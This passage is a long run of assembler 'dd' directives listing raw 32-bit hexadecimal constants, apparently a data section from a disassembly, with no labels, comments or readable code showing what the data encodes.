		dd 0F3408594h, 1377E02Eh, 39B1ACCh, 631DC85h, 0E51E39C0h
		dd 0E26A6400h, 372468AEh, 80A4A1D0h, 1E00C827h,	283DCFFh
		dd 0F200B226h, 7CA384ACh, 517F9Eh, 65C00F69h, 468881DEh
		dd 0CD27948h, 608CA48Dh, 70E21Fh, 0A5760155h, 4A80772Eh
		dd 2B50C0Ch, 0E48EA8F2h, 737C0062h, 0B4B5565h, 30000DEDh
		dd 6FB650A6h, 9C8D0Ah, 5DFA1C91h, 6387E3A5h, 0C2388A9h
		dd 0C526409Fh, 96E5EF06h, 660F4C6h, 0AA730E88h,	370011B5h
		dd 0F1204F7Dh, 0F86A49B8h, 3CF70184h, 65D1621Ah, 0D34C3473h
		dd 0D523E84h, 8A80D63Ah, 0EE189AFFh, 9F007937h,	0C6CB23F9h
		dd 555047h, 219C5C02h, 9D6828BFh, 8D8CA300h, 0AB7B725Bh
		dd 0C006484Fh, 0CA083901h, 0DAD01D97h, 0C4019861h, 0EC009363h
		dd 11BEBFFAh, 0FA5A9723h, 0F9B034Dh, 2E8A9CD6h,	172728D0h
		dd 8F145E1Ch, 17A56C0h,	23A9926h, 59971832h, 984068D0h
		dd 3F005BDBh, 2BC6B5BCh, 5C182ACh, 6E67772h, 4B8403C8h
		dd 0D2D868B9h, 4E00363Dh, 0E9EFBFB5h, 0E7E66EE1h, 8CDDCh
		dd 0DFCEA73Eh, 6B833849h, 0A8B63D26h, 461C2E2Ch, 0ED889080h
		dd 3EF7F7Bh, 3558980Eh,	0D38838AEh, 46005AC8h, 24D07497h
		dd 0C0B396C9h, 0E40A367Eh, 0F0005709h, 474064B9h, 101256h
		dd 3BDB9413h, 0F77887B7h, 91783D7Eh, 0E9988F07h, 6C81C370h
		dd 0B5DCE315h, 2063007Ah, 0BE86A036h, 8D3FE860h, 0AE1400C7h
		dd 40BA7E80h, 566700BDh, 0CB020BF0h, 0B778C5A9h, 0DBDAB800h
		dd 2A968DD4h, 0F7EF3E25h, 7CA2F187h, 3320C0E7h,	0D309A6CAh
		dd 0F6033Ah, 286E442Ch,	0B23F2009h, 7DF36200h, 705AD5D3h
		dd 847FA2h, 76238260h, 645E7B40h, 5D00C6B0h, 190D165h
		dd 24EE850Eh, 0F30DF9Ch, 3478F2Ah, 6281069h, 7C599502h
		dd 77760094h, 0BFA1EB44h, 0C64F134Eh, 5DFC0038h, 94033CE7h
		dd 3EA638h, 432CB252h, 1BAB9BFh, 74D2F037h, 6EF299ECh
		dd 0FC056905h, 147480AAh, 0FE00C098h, 0B468C93h, 0E423A9Fh
		dd 841157F9h, 289640BFh, 0B92ACF6Fh, 75B7B201h,	0ECB31D07h
		dd 7DA81F0h, 0FE4910F2h, 0A480AF47h, 0AF198C74h, 0EFC8430Ch
		dd 38B1642h, 4BEB60Fh, 89D04EA3h, 0D200AAD4h, 0D4825EDh
		dd 7770B857h, 0DCF2D0C4h, 91E23880h, 0AC0E2918h, 0E08031C9h
		dd 461F6EB3h, 4B03020Dh, 85C3BD6Ch, 1AF32BE0h, 72619300h
		dd 0BB34FA65h, 4F6E0140h, 3D05B4ADh, 9A58201Fh,	95993908h
		dd 90A002Dh, 14E8087Fh,	0D70113FAh, 0B3B027C6h,	6420472Ch
		dd 72E000CBh, 38ADFF9Eh, 0CE00917Ch, 69F05F9Bh,	0D13CD2h
		dd 2D18D88Eh, 11AE7F79h, 8581748h, 402FD3A3h, 70D69859h
		dd 0AD564000h, 0F537353Ch, 0F490EDh, 63B5666Fh,	21BD5994h
		dd 0C6E5A800h, 0B15BAB2h, 0B37A00BBh, 8364AE56h, 82008C2Bh
		dd 7CC6A97Dh, 504C4240h, 2EAD2Ch, 4E6D0A49h, 20799557h
		dd 0BC925B00h, 0BF34731Dh, 3D8B3254h, 0A880E970h, 69BEB023h
		dd 8AB74100h, 348EFF22h, 10A248B1h, 3FEF212h, 53452820h
		dd 301D98E9h, 47000934h, 0A56EBEF7h, 0F63974h, 3329D694h
		dd 16599088h, 4C123B00h, 0B80B718Ch, 1881395Ah,	3504C33Fh
		dd 0C358B3BAh, 0E5A81B37h, 177D865Dh, 0B9DE2B00h, 5B5CD49Bh
		dd 9EA0008Ah, 0ACA8EED1h, 3500FDBCh, 65958336h,	2CF58B7Bh
		dd 0F1A703h, 981DE1BBh,	19F6A96Dh, 516DB00h, 0FEA8EAEEh
		dd 857902h, 0DE348F6Bh,	0A17B5FB0h, 2A289F00h, 0DDFC3584h
		dd 38C90020h, 0D1711821h, 0BAFA5AFEh, 9400EC90h, 47980FAh
		dd 24FFB82Ch, 3EF0A961h, 7A63BE03h, 1000B0CEh, 0D4522DA7h
		dd 57B367h, 0F60FA8E7h,	0C45E020Dh, 78D0012Ch, 0E691A200h
		dd 77B15513h, 0F75600A0h, 0DC3FFF3Ah, 653CAB27h, 0E6250054h
		dd 0CA624FA1h, 3CD95D49h, 0EE601D3Ah, 0C85BD75Ah, 0F8BA2C07h
		dd 0C5E0EFF0h, 389D216Ch
		dd 0DA817014h, 3807857h, 4DD1CC9Fh, 6C30BF1Dh, 0E90E8079h
		dd 55E2C41Bh, 0FB7162h,	6B8ECFF2h, 2A06A32Dh, 951F6300h
		dd 8D1872D5h, 3EC1001Dh, 8AB1A652h, 27014C64h, 5BF25313h
		dd 28839FA7h, 790D93Ch,	0FE329A90h, 9779B800h, 0E25DBBB3h
		dd 39020099h, 44FC6ED9h, 0E900B71Ch, 59CAAF26h,	0F6C2AB33h
		dd 84610041h, 53A71682h, 70E1DFD8h, 0F4761E94h,	1CED8B09h
		dd 0EE8C0F98h, 0E996E037h, 1F6957A7h, 98992B1Fh, 83A93124h
		dd 79D3FA00h, 0E9F3D0A6h, 7FF10513h, 0C14CC440h, 0E9EC87E9h
		dd 4A32E819h, 0DC2F9400h, 66CCCAA6h, 53420061h,	2535B39Dh
		dd 410F8587h, 416CBE51h, 9175431Eh, 5D52ADC0h, 2A0788BAh
		dd 0F0E65E26h, 0F8F5D702h, 0C1DBFA00h, 9E44223Fh, 3B9F00F1h
		dd 256FE061h, 0B2001638h, 6FC0D0Fh, 1FB0DDBFh, 58B67C52h
		dd 35C17023h, 2B60E71Fh, 0F881EBBh, 118BE00Ch, 0ADDB8078h
		dd 78A82A40h, 8690060Eh, 20B7D71Bh, 0B0C8500Eh,	0BC8866ABh
		dd 78907C29h, 962FE852h, 19630078h, 7117355Bh, 9912B07h
		dd 0F0804D9Bh, 7E8D77h,	0AD21EA05h, 9038DC07h, 58536430h
		dd 52898D5h, 9B3D463h, 0AD2800F3h, 0C7378813h, 0CD507100h
		dd 0BF728DDAh, 0CF051807h, 0E97FA06Bh, 0DBBCE600h, 4C29C663h
		dd 92729Eh, 3AFB5207h, 74B62BA6h, 0A9943F00h, 6B883E65h
		dd 31CE009Fh, 351A71BCh, 24005E7Ch, 0C08AF2F4h,	5C59E9B1h
		dd 600E5AB4h, 4020A7FBh, 6AA29290h, 80CD683Bh, 0C398EE61h
		dd 79C67Eh, 6F0823EAh, 8D1D413Bh, 24400C00h, 59655CADh
		dd 37EC9Ch, 802151D9h, 5F6D9662h, 0A0FE8100h, 0FF79C968h
		dd 46D0BF8Ah, 4DBF8500h, 3C2A6729h, 467D0019h, 899B1D9Dh
		dd 64001A6Ah, 2C9F980Ch, 1C0179C0h, 0C521DC72h,	0AFA47Eh
		dd 0BA298CCCh, 0F00085D7h, 0C079379Ch, 1D5205h,	969BD90h
		dd 0BCAEE8ECh, 366E4C1Eh, 728BD405h, 2710BC13h,	6C4977BCh
		dd 0A150044h, 0C65A9094h, 404C00E4h, 0CFFF49E8h, 741FAC8Ah
		dd 0BE80D9EBh, 0D2F6B7AAh, 0CD371598h, 5C00E0BCh, 0DABF3C05h
		dd 4E003126h, 65799AE2h, 0B89123h, 9DFFA19h, 685AA6F7h
		dd 5DC3AF00h, 5BE5E8A3h, 780B039h, 72CF0963h, 834990C1h
		dd 0D300A27Dh, 0AB30ED5Fh, 7A8A788h, 0D85DF79Dh, 6FB590BDh
		dd 4B0DE44h, 0DD283Eh, 0EB42CFC9h, 0E3352Bh, 5E0D4AC1h
		dd 8B6C7155h, 0AF73DF1Ch, 0BF02FF5Dh, 63CFEBC9h, 0B906986Eh
		dd 1BE4F1h, 64C3887Bh, 8743BD79h, 213FA800h, 524AD744h
		dd 1B3C2E66h, 0A7120C66h, 0AB00CA38h, 0F4E89A04h, 0B0CC71h
		dd 0B90BD581h, 0AD98DFFFh, 0DE06ECE1h, 21694F60h, 902A66FEh
		dd 5F5800CEh, 0DDE679F5h, 80010E38h, 0FB5AA761h, 0C0C37147h
		dd 18DE88B0h, 48FFC686h, 0F0081CEh, 6FBEDD1Dh, 7BD88Bh
		dd 0A773234Ch, 933CE19Eh, 0B0B74500h, 48B17CBh,	0FC4301F9h
		dd 0C0474EBAh, 46A000B9h, 0F1CF3D6Bh, 3148923Ch, 37DC187Ch
		dd 0BF5BB1B7h, 0DE81F20Ch, 4C41B960h, 700D50h, 95D12253h
		dd 0EAFC4426h, 43609073h, 0A735E339h, 0D3BA0004h, 923CE7D5h
		dd 0E20BC848h, 8685B1h,	55F318A2h, 657E0012h, 6106C45Ch
		dd 0E0076DBEh, 28FA8ACh, 639099A2h, 0DF2100FBh,	0CEEA6F97h
		dd 0E8252145h, 1EF60Eh,	85D56633h, 3E0363AFh, 34C1AC18h
		dd 6B18041Fh, 584391h, 6C2BAF1h, 0E6D83A92h, 0D55C4101h
		dd 9E73AB35h, 9CC6A20h,	0A0C43819h, 40EB9510h, 0D9104445h
		dd 0C307A70Dh, 0CC539B48h, 28C14C9h, 0ACEE6F94h, 3A199098h
		dd 6F850110h, 0BC0B7900h, 0A71A37E4h, 0E10015Bh, 0CB28C32Dh
		dd 7F2C4266h, 86F8B30h,	8EB0ACEBh, 0E6403C64h, 38D36F80h
		dd 0D90B4000h, 0D621DD48h, 0C27A0756h, 0B35F41E4h, 100055C9h
		dd 0E0388487h, 1D56D110h, 0A80361h, 7A29E17Eh, 0B000F72Dh
		dd 25E0C54Bh, 0EF97B50h, 3F792732h, 0B62D3380h,	560797FBh
		dd 75BC2206h, 98C73C60h, 0EB253BB0h, 0ED81F43Ah, 0BCB58739h
		dd 0E2DF3004h, 13F29100h, 1840E4BDh, 0EB73A2h, 3AD07923h
		dd 0B1F7C762h, 5EFCA707h, 3480B99Dh, 0F5AF98h, 0D7A25223h
		dd 0F6E4808Ah, 6400E37Ah, 0DB3C3B9h, 0FEBEC9h, 0EB30D922h
		dd 268E192Fh, 0C5271100h, 0CF8E19Ah, 0DD981C59h, 0F70DC090h
		dd 0E449868Ah, 0A07352Eh, 0C221F800h, 1056EDDh,	0E53E9BECh
		dd 47C4D650h, 7CC5C580h, 3637B004h, 68D01075h, 3CF1830h
		dd 0D3EE7B53h, 0AF8CDC9h, 0B000E395h, 7EECFB41h, 0C8372E25h
		dd 44426F29h, 212D2431h, 0C3113FE5h, 51DF17EDh,	19103921h
		dd 1428378Ah, 5211434h,	904E0408h, 32FC842Bh, 3E421148h
		dd 279F2448h, 0FD483374h, 27351042h, 0D08818F3h, 0FAA0BB47h
		dd 670E9BFCh, 40A818B4h, 0AF193F4Eh, 57280009h,	0D548294Fh
		dd 560027E1h, 6DC495A1h, 3E454A73h, 3280F894h, 6488B2B4h
		dd 790036C0h, 0A4EA6659h, 3DDE59Eh, 0FA3F89D1h,	0D2E06A10h
		dd 4B0FA583h, 7F2DD46Eh, 87861BC0h, 75037914h, 10910034h
		dd 6863859Ch, 1A79C2ADh, 0D7930C00h, 28C0F59Dh,	4748004Fh
		dd 0AB2BFFB0h, 38C00912h, 696F7CF8h, 17760051h,	0C5E51B62h
		dd 5F008202h, 415699FFh, 7C6571h, 9CFD7250h, 0ED46833Dh
		dd 0A1E59726h, 0F198A71Ch, 1FA0911h, 6944F620h,	0ED95B2EFh
		dd 0D92820E8h, 40A3C000h, 0E729D4F7h, 205C0308h, 0EC1B4267h
		dd 13666D8h, 0C0238100h, 0A00DB718h, 4B9C01E5h,	48A54787h
		dd 73808345h, 45D2105h,	67A3CA28h, 0B5890BFh, 0C00A61Ch
		dd 0B67C3842h, 3AAC4DB0h, 318054EAh, 1AB5BC4Ch,	510001D2h
		dd 0F371AA03h, 0A034886Ah, 830784h, 58DC98C2h, 0F82FEFAh
		dd 0C379A81Ch, 6D55D7C0h, 3EDD0Eh, 97FA5CD6h, 334EF4D4h
		dd 0D81A8200h, 6809C5ACh, 0BF3200B4h, 0B683D551h, 3C0EB120h
		dd 0C0BE0A48h, 0A81A3424h, 5897003Dh, 4F39DB8Dh, 0A400F285h
		dd 8E9747Bh, 0C4B122Bh,	62B7C73Fh, 5BE042F0h, 0ABD82E00h
		dd 0A39B3B6Eh, 1CF6EBh,	70D3E18Eh, 0A997081Bh, 0BEF6F407h
		dd 0C10EC93h, 0B4C3A0h,	34C6B3AFh, 0D853EF73h, 99AEB905h
		dd 80AEE09Fh, 0DB440962h, 0F4DEC724h, 83936B00h, 0FEB16Ch
		dd 0D0B44521h, 2EC9C44Ah, 0E9E4D500h, 0EFEA898Dh, 9CE0029h
		dd 4E5F7B0Ch, 0FC00A02Fh, 9DBB44AFh, 4DF60ACh, 86FE518Ch
		dd 656883BAh, 0A01CC2B0h, 3EEC0200h, 4DF0A680h,	0F200FA7h
		dd 3CC0190Ch, 0DA06BF27h, 6E64Ch, 782FF88Bh, 455CBC8h
		dd 12EB6C67h, 0C504906Fh, 88F8B975h, 0E9008B98h, 6D0D41BCh
		dd 0EA0118C2h, 101548D4h, 0DA312501h, 0E81D490Ah, 0E1265558h
		dd 0E980746Ah, 90A4BE6Eh, 0B901002Eh, 84314A2h,	0EE60BA0Dh
		dd 0AD536D92h, 967004Bh, 764EC1Ah, 5B000F71h, 16FA2E57h
		dd 0F41003h, 0B3F07EAEh, 18F81EF2h, 9E05EB1Ch, 0A6F6C840h
		dd 0F65E2F4h, 61810EE3h, 4C78D180h, 3F1E08C5h, 0F880A7BAh
		dd 0C036023Eh, 2D71E4h,	3A8271C2h, 0F2CE7949h, 0B3E94400h
		dd 0CD99BDFh, 43423928h, 35FF3680h, 7A3818DAh, 0FE03AB03h
		dd 0D9E6E9D1h, 44EC4A5Fh, 0B7BA180Ah, 0E39BF078h, 0A17C9213h
		dd 0E1E47A40h, 26F91BDAh, 6465BFh, 1FEF199Dh, 35F64DD9h
		dd 7E00EB77h, 0AA8C905Ch, 1C2D2B74h, 0DFCF919Ch, 0A5D68A21h
		dd 0E1502F0h, 3C381F92h, 0B8BE2D6Ah, 87017674h,	0D0D344C7h
		dd 771630h, 0A2892004h,	83D4D633h, 59AE2F0Eh, 93409F09h
		dd 0D9281D54h, 5E960023h
		dd 45B2083Ah, 6E002957h, 913BFD9Bh, 9090AF97h, 328B12E2h
		dd 0D8E400A0h, 5341CF7Eh, 285C2500h, 0D5215482h, 1C3D48ACh
		dd 75CEEC00h, 46E9A9E3h, 19C0A4F4h, 0BA4D6654h,	43403C64h
		dd 8044B49Ch, 38905201h, 731E5C58h, 4E004992h, 0DACE05C8h
		dd 0EC3A0013h, 44E06553h, 0DC3BFEE4h, 80453980h, 5C4E15D0h
		dd 0B7AB52h, 0B4EDF3AFh, 8BB23F04h, 0AC08C400h,	0C89C463Ah
		dd 2EBD017Ch, 41967531h, 0A517E4FEh, 1C592200h,	0F727C474h
		dd 0FBF68Eh, 0C2CD3E1Bh, 3D4232E7h, 0E9E0D113h,	51BC8004h
		dd 3B52C890h, 0CFF00034h, 0E087A35Dh, 3A00C37Dh, 3881A796h
		dd 0E2DED3FEh, 0B4F400AFh, 151FAD7Eh, 352CF51Bh, 0E1C607Fh
		dd 94832E00h, 50AA8562h, 11C9E9h, 0E282536Eh, 17F0197Fh
		dd 0ED59D07h, 0BE14FBAFh, 0A481A280h, 0D4E516FCh, 77080070h
		dd 0F1C63822h, 0FFF0253Eh, 3000FDE2h, 48525595h, 0FA07CF0Dh
		dd 8F545CE3h, 871DFF00h, 7933BC44h, 0F080E8A2h,	51FED473h
		dd 0FFDBA800h, 0B33AF874h, 0E4304922h, 5C020800h, 52DFAB88h
		dd 0DA01737Dh, 0DBF6EBC6h, 2520CE0Bh, 0A5F80182h, 841A62CAh
		dd 0F62BF4E2h, 2DAC407h, 0F020FA89h, 624DD8h, 0D48FC3E0h
		dd 1171C1C9h, 2FFE44B0h, 8D00F27Fh, 0EA7092FAh,	51F79Ah
		dd 94B20507h, 76DF067Dh, 0DB715000h, 139CE710h,	9EA077Ah
		dd 1BFFA824h, 893FAC80h, 0D600C52Bh, 224C9BAEh,	3B3083h
		dd 0B66BA406h, 443653A8h, 69BDFF03h, 0D05C78C6h, 22FB1Ch
		dd 0F67B7567h, 661BE6F9h, 0C800057Dh, 25074072h, 0CD0182h
		dd 0DD2D763Bh, 4B4FC517h, 0A3305207h, 0C0FE7B6Eh, 7B2A819h
		dd 699800FEh, 2887E8D8h, 3D006FA3h, 68A9B68Bh, 147E22h
		dd 549AC20Fh, 0C0428DFFh, 72AC6F0Eh, 571B61CAh,	0A640FA39h
		dd 196A05h, 6FD5DDEAh, 584BBA16h, 85EB100h, 85E0242Dh
		dd 676ABh, 8C09DB5Ah, 0E4470549h, 4CD4C517h, 0C380805Eh
		dd 0EC87A8ABh, 15BF125Bh, 53640005h, 0EB45392Eh, 0F400C7EEh
		dd 91289DFDh, 9DBC475h,	0E7DD4036h, 97B76080h, 8D4894B5h
		dd 0B1320758h, 0A71BF0E6h, 7140BA9Ch, 0E86F786Ch, 4247E4Ah
		dd 582FE015h, 9B14C02Eh, 761F9605h, 4AC07FC7h, 0BD1EFCAh
		dd 15E30F8Dh, 9D43E234h, 0D3909AF2h, 0FB004C64h, 0C4C22A44h
		dd 178AF6E0h, 0C05066h,	7791F1BFh, 4F00988Eh, 6F38AE71h
		dd 0CDDC28h, 0A2709AD4h, 1C0DC88Ch, 0AFEAA900h,	560BAEC4h
		dd 375209C2h, 0B600DAF4h, 0E6F08A8Ch, 157D3D00h, 4AAF0880h
		dd 25300187h, 0A6372F2Dh, 5CC8CF59h, 831C61D0h,	0A5C0E163h
		dd 4C05C4C6h, 0D4060011h, 769172D2h, 0E0B05E34h, 3571F1E0h
		dd 66AFE800h, 0DEFE96ACh, 59C8C0C1h, 5AE3C57Fh,	71C83604h
		dd 0AC801BA2h, 0E481D7EAh, 0C6FA0A2Dh, 80ACBE5Dh, 1872FE68h
		dd 5504A576h, 8144F493h, 6217C0C0h, 0B7F800ABh,	4F58E2C9h
		dd 0E100E359h, 8E714E41h, 0EFC268h, 43154755h, 0BCC8141Eh
		dd 9582BA03h, 0B0626C60h, 1D7F006h, 0E360AA2h, 60D8F1B2h
		dd 51D3E65h, 0ECC0FD7Dh, 2BB02201h, 59F084h, 0D94E3603h
		dd 85652CF4h, 3F2DA63Eh, 0F2B8069h, 298CF2D0h, 0E99D1230h
		dd 0DEE01ADh, 2052C0E1h, 740F9C48h, 8032DB65h, 7AD09498h
		dd 782138BDh, 1823DD00h, 561069Bh, 7F33E300h, 605515BBh
		dd 3B8E7758h, 9C83FCB5h, 6F6C801Fh, 88A375E0h, 0F03EC082h
		dd 5A09992h, 87657CE1h,	0D429B077h, 8F0296BBh, 41C2B947h
		dd 0E1BFE1B3h, 2E6C30h,	0D646DE4Ah, 66D03F12h, 7CE3C400h
		dd 9DAB079h, 0A3DF0047h, 0FCA2F6EFh, 3901E999h,	0F172DCCh
		dd 0C840DD08h, 17A7675h, 0E57FC551h, 0F46EA6FAh, 7E00DA10h
		dd 116225FCh, 4D5A3Eh, 0D737CD82h, 0F12C9A28h, 965F051Bh
		dd 0D94FA8E9h, 0F80A0069h, 0F7F9225Eh, 0F400E23Bh, 0BF1899A4h
		dd 0EACE64D0h, 0C5952435h, 46D20028h, 316ECCC2h, 1060CF1Ch
		dd 0AB746A40h, 1150AFDh, 0CEACE404h, 70EC1E7Eh,	32004F66h
		dd 0BB6E289Fh, 1D8F48EEh, 0C15C5172h, 0EAE472Eh, 528C203Eh
		dd 16F14111h, 9E915F00h, 54B3A1DFh, 32443501h, 59479AFCh
		dd 1D6E5420h, 402FF718h, 233C7ACEh, 981F8AE8h, 1CC03D91h
		dd 0DF0CF0C6h, 0F4A77BAFh, 7381D0Fh, 0D17C0B6h,	0AC358B2Eh
		dd 96C6F83Ah, 0B84F3E22h, 0A4EC257Dh, 4288C400h, 1F4BA59Fh
		dd 405D918Ah, 3DF3B51Dh, 0EE00E807h, 8EF5DF19h,	0F7B7016h
		dd 29921BA8h, 46F95F80h, 4C754FF4h, 1F649C48h, 22C0950Fh
		dd 0A72A37FBh, 2B8F00B4h, 1040A60h, 87002810h, 0F2DC91B5h
		dd 7CC3CBFh, 0C1AA776Bh, 5DC20166h, 0A4A080E6h,	47631DF9h
		dd 9C3000FAh, 8B5577F8h, 755CC88Fh, 9F3E00E4h, 0AA5620E9h
		dd 7C600D6h, 8566B7CDh,	300EDF4h, 17771450h, 24882721h
		dd 80684B90h, 300CEE42h, 4E4E6B45h, 0B8714803h,	6B75E217h
		dd 9C0FCD14h, 0D1D2C1CFh, 95C096E8h, 848600E2h,	9BA16036h
		dd 2703986Fh, 84DCB92h,	0CF3802D5h, 23213D05h, 0E23FB8A1h
		dd 29060025h, 8CE74842h, 8D755A09h, 0FEBC7CC0h,	73001F79h
		dd 822211B6h, 0FFB065h,	873F9868h, 0AF1B399h, 0D550A100h
		dd 73CAADB1h, 0CCD300DCh, 430879C5h, 961EE437h,	78D5C3h
		dd 2711A4F0h, 92AED4h, 0C1386930h, 1F24C204h, 0D4985F28h
		dd 6A48BA03h, 9ADDF0h, 0C6142B10h, 5E881BABh, 5943FF1Dh
		dd 55355000h, 25331938h, 0B482E3E6h, 0DDE0BFE7h, 7A0BBCFDh
		dd 0A49D10D9h, 0B8907BC0h, 139342F9h, 817D2Ah, 0A9212FC6h
		dd 0C300E46Bh, 676DB1A5h, 0FB2AD68h, 3E3A35D6h,	41E59E43h
		dd 0A61CFDB0h, 3F174D07h, 0BFB0B0D9h, 7CC5949h,	29327FDBh
		dd 0E2ADF003h, 5A002B65h, 0F51660EAh, 0FC58741Ah, 494E00C7h
		dd 0E46DDA4h, 3A000AD6h, 7CD79E2Ah, 22F380h, 0B896DCD0h
		dd 7A28C37Dh, 76C8885Ch, 0C4CA20h, 0E7F9C574h, 0D383D51Ch
		dd 0B706FB02h, 91DC622Ah, 441098E0h, 72F2AF23h,	0BA13F58h
		dd 2B1D1EF1h, 0FEC80BD4h, 8BF30085h, 86FD87ACh,	45A77B05h
		dd 0CE00AE63h, 350451CFh, 581A1E6Eh, 0C09C545Bh, 0DB9AC600h
		dd 42BC98D4h, 24658700h, 0D0B4C3F4h, 278403FBh,	0C166639Dh
		dd 0A0991001h, 40C03507h, 0A8204BFDh, 449277FCh, 0C4498C25h
		dd 6841149Ch, 8D8902C4h, 4D06B93h, 0B0D4C088h, 3000E7Dh
		dd 2CC5ABEFh, 0BEC850h,	5EC254Ch, 59F00F65h, 6DB07E00h
		dd 8568BF73h, 806626FAh, 2A500EF0h, 29C411E7h, 57D48820h
		dd 0EC04DFCCh, 4110063Bh, 8F2C65C0h, 0F6BC4CA5h, 0D6E1D202h
		dd 9840E4EFh, 3988ED7Eh, 0C4AA2929h, 0A5BF40B8h, 5E0FF953h
		dd 60B32CDFh, 8B8FE37Dh, 0E5FE0B98h, 2C805CFFh,	4933BE1Eh
		dd 0F843771Eh, 2F7D00Fh, 0C08854C8h, 1E226F2Ch,	40CC5020h
		dd 0C538842Dh, 3F09E119h, 804EB148h, 6549A3D4h,	0F1D9003Ah
		dd 5D63C5ECh, 0DF017C0Bh, 0AED7E154h, 2460E26Fh, 8C4B0167h
		dd 4F1C7689h, 0B8C04099h, 697D6C66h, 0CC00D0B0h, 636AB5CBh
		dd 0E623A801h, 370B84Ah, 0F3F48D17h, 0F1B0EBB4h, 423B53BDh
		dd 10B8D0AFh, 8CFE0900h, 0A5882EE5h, 9C3201CEh,	4CADEEBFh
		dd 3AC040BEh, 3D01C099h, 0E86FF64Fh, 26D018F8h,	0D2D9004Bh
		dd 628A0F78h, 0F907061Ch, 0E16E32FFh, 0D0EABAF3h, 0B19F69h
		dd 2E1309DEh, 1FC45FAh,	8705237Ch, 396AF90h, 19D7A8B4h
		dd 10E19418h, 0A5087060h, 2D4BCF00h, 3D225288h,	616900F0h
		dd 35ED7B99h, 4100978Ah
		dd 28F7FFA1h, 2DE9A619h, 0A80E9C60h, 68A9E760h,	0FD30F613h
		dd 0D6CC509Dh, 7CF4A881h, 23F2E7h, 0E3C986ACh, 59739249h
		dd 0B1C35300h, 97B83D8h, 0A8804887h, 944DC103h,	183ED288h
		dd 962402FEh, 523AE593h, 327C40h, 6D35F794h, 412EE1C5h
		dd 9CEBF39h, 40609B98h,	1B52600h, 0D1E0FE4h, 0DF79D3F7h
		dd 0EC3C7E98h, 3F3D4600h, 0FFF545Fh, 0C7C81CDAh, 0E594C06Fh
		dd 0EBA99836h, 894C39h,	64179BC9h, 3F2E9Ah, 0B7FCD6Ah
		dd 6CC4AB75h, 7C8BE800h, 0DE43AAC6h, 0E3F80065h, 65974A9h
		dd 897B327Eh, 0D8508277h, 7D0026BCh, 7C278076h,	842933h
		dd 7F415E64h, 9F6B7E2Eh, 726C1B1Eh, 833FAA4Eh, 0E06618E3h
		dd 17F3BDCh, 0A6582394h, 0C484B792h, 43247175h,	0F604708Ah
		dd 0E4B0A54Dh, 5FF803EFh, 65B487Dh, 688E83D8h, 8C09C97Ch
		dd 83FED63Eh, 0F0936F22h, 786B47Bh, 33362B28h, 1507B061h
		dd 7900F5A6h, 81F642FFh, 86AD95h, 847AC391h, 0A4DB6D7Dh
		dd 79850E02h, 4047E88Eh, 0ED30A6F8h, 2D9BE100h,	71D58907h
		dd 6B503F88h, 0B3CF34h,	32AAE9FFh, 0CAF2F88Bh, 0BD02B200h
		dd 0E736F08Eh, 0F7A000F9h, 0F1FB1066h, 75001E5Fh, 58563A5h
		dd 3CE1DC70h, 7A334Ah, 1DD408CAh, 9C19C38Bh, 0AC245AF6h
		dd 803D4C35h, 2D5F6588h, 1FC4E05h, 3B2CE48Fh, 80EA10CAh
		dd 4C363FA0h, 2835C44h,	78C4DE85h, 36E097C6h, 2C0067BFh
		dd 60957024h, 0E69887Ch, 1CF728A0h, 4D9BC420h, 4C00A740h
		dd 996BBF6Dh, 0E6EB69h,	0D0197C0Dh, 0EE854F31h,	7F399800h
		dd 32B3DC1Fh, 2BB872h, 0BF40AD9Bh, 0C078AB29h, 73CD950Fh
		dd 0FA580056h, 3713E9h,	2636143Eh, 9764BBF8h, 108E1A00h
		dd 4AFF1BA6h, 8D9400D1h, 6DCC41Dh, 9E007249h, 0E25832B4h
		dd 0E4B101DBh, 3A4D24B5h, 2ECE00BCh, 0E7A69242h, 6A9DF700h
		dd 9F4867D0h, 5A82C1Fh,	258300A8h, 21529911h, 3E2610C1h
		dd 0B2DCA3C9h, 6DAA028Eh, 0EA8679Ah, 3D0E5C52h,	6023BDB0h
		dd 29A782F8h, 0C8C600E8h, 4E5C08E6h, 8F00EFB5h,	0DF34DBD8h
		dd 0AF810Fh, 0F83B8C99h, 4010E597h, 42A31D00h, 0FFC9D1DCh
		dd 8318C0F9h, 5317C095h, 502BE40Eh, 7E6E006Ch, 17F71A1h
		dd 0EF72D89Eh, 242DEDB2h, 0BE015134h, 0DC537BA3h, 24F0B39Eh
		dd 0EF2B01D3h, 85646CC0h, 0A09989FEh, 0B0ACE37Dh, 30EE8612h
		dd 951001CCh, 3A002A20h, 0FDD8DCD2h, 44D6B8h, 0DF085F73h
		dd 7A650690h, 9F336B00h, 0EFB643B2h, 2F290BBh, 0A1E0F10Ah
		dd 0A46055A7h, 11009DE9h, 0B963766Eh, 9D2C4CEh,	28C8AA6Ch
		dd 0F96A84A0h, 8F008BE9h, 5279388Eh, 383080F7h,	0E2805559h
		dd 0F3B61D42h, 76009470h, 43878DA7h, 9DAADh, 174E145Fh
		dd 9D701BE1h, 6F1EB901h, 11890F84h, 653BF0h, 3758D8F6h
		dd 4DB8C06Dh, 1BB5E0Ah,	66008CF4h, 281068D7h, 766F0EFFh
		dd 0F54016D0h, 0ABDFAC51h, 3829D203h, 800E1C35h, 0FF379Ah
		dd 70E47309h, 0B9CC88B6h, 923E1D00h, 38497B67h,	0AC40B9Ah
		dd 0EC00E6CEh, 743ADAB3h, 0DBDCD900h, 6C59FC10h, 971100CCh
		dd 1501E90Fh, 171DE7A1h, 2DC0ED61h, 54C6F733h, 722A25B8h
		dd 89A44840h, 193D3AF6h, 9ECE8127h, 49969DE5h, 0EFC0E86Ch
		dd 3AF42882h, 48B26114h, 0D5B90090h, 419E2FC0h,	174F003Fh
		dd 7E9908E8h, 6C000560h, 9519DD66h, 7305A67h, 0F5E168DCh
		dd 0B7C70008h, 7500C2AFh, 5B5F445Ch, 1388345h, 0C872E2D9h
		dd 0D4048202h, 0E41F0FBFh, 0EC476242h, 51377168h, 0D85FFDC3h
		dd 547A985h, 43A3CAA1h,	3AB490C6h, 6F4A1278h, 0E295880h
		dd 2C494EBCh, 0B00FEC0h, 0CF8C81Bh, 2E5AE84Ch, 0BC69BEh
		dd 0C46FD102h, 0E1E249B6h, 0E476841Ch, 0A2B5FC4Bh, 2055F8D0h
		dd 0A2125120h, 4BE08EFAh, 968BD000h, 0FBC32B74h, 0EB5900B1h
		dd 0E5717A61h, 5038203h, 0F8ED3F72h, 0DF8FD084h, 2C1A39E9h
		dd 914E4A00h, 647FE4FBh, 27136300h, 0DBC1C90Ah,	182B7EDFh
		dd 0D808DC85h, 971EDD3Ch, 0B5269EE2h, 5FBF9B00h, 52E89Ah
